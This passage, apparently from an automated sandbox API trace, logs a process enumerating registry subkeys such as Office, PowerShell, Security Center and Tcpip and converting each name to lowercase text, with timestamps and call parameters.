lpMultiByteStr=0x4ac120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="office", lpUsedDefaultChar=0x0) returned 6 [0224.831] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4f, lpName=0x4ab930, cchName=0x104 | out: lpName="OfficeSoftwareProtectionPlatform") returned 0x0 [0224.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0224.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x4ac0d8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="officesoftwareprotectionplatform", lpUsedDefaultChar=0x0) returned 32 [0224.831] RegEnumKeyW (in: hKey=0x38, dwIndex=0x50, lpName=0x4ab930, cchName=0x104 | out: lpName="Ole") returned 0x0 [0224.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x4ac120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ole", lpUsedDefaultChar=0x0) returned 3 [0224.831] RegEnumKeyW (in: hKey=0x38, dwIndex=0x51, lpName=0x4ab930, cchName=0x104 | out: lpName="Outlook Express") returned 0x0 [0224.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0224.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x4ac0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="outlook express", lpUsedDefaultChar=0x0) returned 15 [0224.831] RegEnumKeyW (in: hKey=0x38, dwIndex=0x52, lpName=0x4ab930, cchName=0x104 | out: lpName="PLA") returned 0x0 [0224.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x4ac120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pla", lpUsedDefaultChar=0x0) returned 3 [0224.831] RegEnumKeyW (in: hKey=0x38, dwIndex=0x53, lpName=0x4ab930, cchName=0x104 | out: lpName="PowerShell") returned 0x0 [0224.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0224.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x4ac0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="powershell", lpUsedDefaultChar=0x0) returned 10 [0224.832] RegEnumKeyW (in: hKey=0x38, dwIndex=0x54, lpName=0x4ab930, cchName=0x104 | out: lpName="Print") returned 0x0 [0224.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x4ac120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="print", lpUsedDefaultChar=0x0) returned 5 [0224.832] RegEnumKeyW (in: hKey=0x38, dwIndex=0x55, lpName=0x4ab930, cchName=0x104 | out: lpName="RADAR") returned 0x0 [0224.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x4ac0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="radar", lpUsedDefaultChar=0x0) returned 5 [0224.832] RegEnumKeyW (in: hKey=0x38, dwIndex=0x56, lpName=0x4ab930, cchName=0x104 | out: lpName="Ras") returned 0x0 [0224.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x4ac120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras", lpUsedDefaultChar=0x0) returned 3 [0224.832] RegEnumKeyW (in: hKey=0x38, dwIndex=0x57, lpName=0x4ab930, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0224.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0224.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x4ac0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras autodial", lpUsedDefaultChar=0x0) returned 12 [0224.832] RegEnumKeyW (in: hKey=0x38, dwIndex=0x58, lpName=0x4ab930, cchName=0x104 | out: lpName="Reliability Analysis") returned 0x0 [0224.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0224.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x4ac120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reliability analysis", lpUsedDefaultChar=0x0) returned 20 [0224.832] RegEnumKeyW (in: hKey=0x38, dwIndex=0x59, lpName=0x4ab930, cchName=0x104 | out: lpName="RemovalTools") returned 0x0 [0224.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0224.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x4ac0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="removaltools", lpUsedDefaultChar=0x0) returned 12 [0224.832] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5a, lpName=0x4ab930, cchName=0x104 | out: lpName="RendezvousApps") returned 0x0 [0224.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0224.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x4ac120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rendezvousapps", lpUsedDefaultChar=0x0) returned 14 [0224.832] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5b, lpName=0x4ab930, cchName=0x104 | out: lpName="Router") returned 0x0 [0224.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x4ac0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="router", lpUsedDefaultChar=0x0) returned 6 [0224.833] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5c, lpName=0x4ab930, cchName=0x104 | out: lpName="Rpc") returned 0x0 [0224.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x4ac120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rpc", lpUsedDefaultChar=0x0) returned 3 [0224.833] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5d, lpName=0x4ab930, cchName=0x104 | out: lpName="SchedulingAgent") returned 0x0 [0224.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0224.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x4ac0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schedulingagent", lpUsedDefaultChar=0x0) returned 15 [0224.833] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5e, lpName=0x4ab930, cchName=0x104 | out: lpName="Schema Library") returned 0x0 [0224.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0224.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x4ac120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schema library", lpUsedDefaultChar=0x0) returned 14 [0224.833] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5f, lpName=0x4ab930, cchName=0x104 | out: lpName="Security Center") returned 0x0 [0224.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0224.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x4ac0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security center", lpUsedDefaultChar=0x0) returned 15 [0224.833] RegEnumKeyW (in: hKey=0x38, dwIndex=0x60, lpName=0x4ab930, cchName=0x104 | out: lpName="Sensors") returned 0x0 [0224.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x4ac120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sensors", lpUsedDefaultChar=0x0) returned 7 [0224.833] RegEnumKeyW (in: hKey=0x38, dwIndex=0x61, lpName=0x4ab930, cchName=0x104 | out: lpName="Shared") returned 0x0 [0224.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x4ac0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared", lpUsedDefaultChar=0x0) returned 6 [0224.833] RegEnumKeyW (in: hKey=0x38, dwIndex=0x62, lpName=0x4ab930, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0224.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0224.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x4ac120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools", lpUsedDefaultChar=0x0) returned 12 [0224.834] RegEnumKeyW (in: hKey=0x38, dwIndex=0x63, lpName=0x4ab930, cchName=0x104 | out: lpName="Shared Tools Location") returned 0x0 [0224.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0224.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x4ac0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools location", lpUsedDefaultChar=0x0) returned 21 [0224.834] RegEnumKeyW (in: hKey=0x38, dwIndex=0x64, lpName=0x4ab930, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0224.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x4ac120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sideshow", lpUsedDefaultChar=0x0) returned 8 [0224.834] RegEnumKeyW (in: hKey=0x38, dwIndex=0x65, lpName=0x4ab930, cchName=0x104 | out: lpName="SnippingTool") returned 0x0 [0224.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0224.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x4ac0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="snippingtool", lpUsedDefaultChar=0x0) returned 12 [0224.834] RegEnumKeyW (in: hKey=0x38, dwIndex=0x66, lpName=0x4ab930, cchName=0x104 | out: lpName="Software") returned 0x0 [0224.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x4ac120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0224.834] RegEnumKeyW (in: hKey=0x38, dwIndex=0x67, lpName=0x4ab930, cchName=0x104 | out: lpName="Speech") returned 0x0 [0224.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x4ac0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="speech", lpUsedDefaultChar=0x0) returned 6 [0224.834] RegEnumKeyW (in: hKey=0x38, dwIndex=0x68, lpName=0x4ab930, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0224.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0224.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x4ac120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqmclient", lpUsedDefaultChar=0x0) returned 9 [0224.834] RegEnumKeyW (in: hKey=0x38, dwIndex=0x69, lpName=0x4ab930, cchName=0x104 | out: lpName="Sync Framework") returned 0x0 [0224.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0224.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x4ac0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sync framework", lpUsedDefaultChar=0x0) returned 14 [0224.835] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6a, lpName=0x4ab930, cchName=0x104 | out: lpName="Sysprep") returned 0x0 [0224.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x4ac120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sysprep", lpUsedDefaultChar=0x0) returned 7 [0224.835] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6b, lpName=0x4ab930, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0224.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0224.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x4ac0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="systemcertificates", lpUsedDefaultChar=0x0) returned 18 [0224.835] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6c, lpName=0x4ab930, cchName=0x104 | out: lpName="TableTextService") returned 0x0 [0224.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0224.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x4ac120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tabletextservice", lpUsedDefaultChar=0x0) returned 16 [0224.835] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6d, lpName=0x4ab930, cchName=0x104 | out: lpName="TabletTip") returned 0x0 [0224.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0224.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x4ac0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tablettip", lpUsedDefaultChar=0x0) returned 9 [0224.835] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6e, lpName=0x4ab930, cchName=0x104 | out: lpName="Tcpip") returned 0x0 [0224.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x4ac120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tcpip", lpUsedDefaultChar=0x0) returned 5 [0224.835] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6f, lpName=0x4ab930, cchName=0x104 | out: lpName="Terminal Server Client") returned 0x0 [0224.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0224.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x4ac0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="terminal server client", lpUsedDefaultChar=0x0) returned 22 [0224.835] RegEnumKeyW (in: hKey=0x38, dwIndex=0x70, lpName=0x4ab930, cchName=0x104 | out: lpName="TermServLicensing") returned 0x0 [0224.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0224.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x4ac120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="termservlicensing", lpUsedDefaultChar=0x0) returned 17 [0224.835] RegEnumKeyW (in: hKey=0x38, dwIndex=0x71, lpName=0x4ab930, cchName=0x104 | out: lpName="TIP Shared") returned 0x0 [0224.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0224.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x4ac0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tip shared", lpUsedDefaultChar=0x0) returned 10 [0224.836] RegEnumKeyW (in: hKey=0x38, dwIndex=0x72, lpName=0x4ab930, cchName=0x104 | out: lpName="TPG") returned 0x0 [0224.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x4ac120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpg", lpUsedDefaultChar=0x0) returned 3 [0224.836] RegEnumKeyW (in: hKey=0x38, dwIndex=0x73, lpName=0x4ab930, cchName=0x104 | out: lpName="Tpm") returned 0x0 [0224.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x4ac0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpm", lpUsedDefaultChar=0x0) returned 3 [0224.836] RegEnumKeyW (in: hKey=0x38, dwIndex=0x74, lpName=0x4ab930, cchName=0x104 | out: lpName="Tracing") returned 0x0 [0224.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x4ac120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tracing", lpUsedDefaultChar=0x0) returned 7 [0224.836] RegEnumKeyW (in: hKey=0x38, dwIndex=0x75, lpName=0x4ab930, cchName=0x104 | out: lpName="Transaction Server") returned 0x0 [0224.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0224.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, 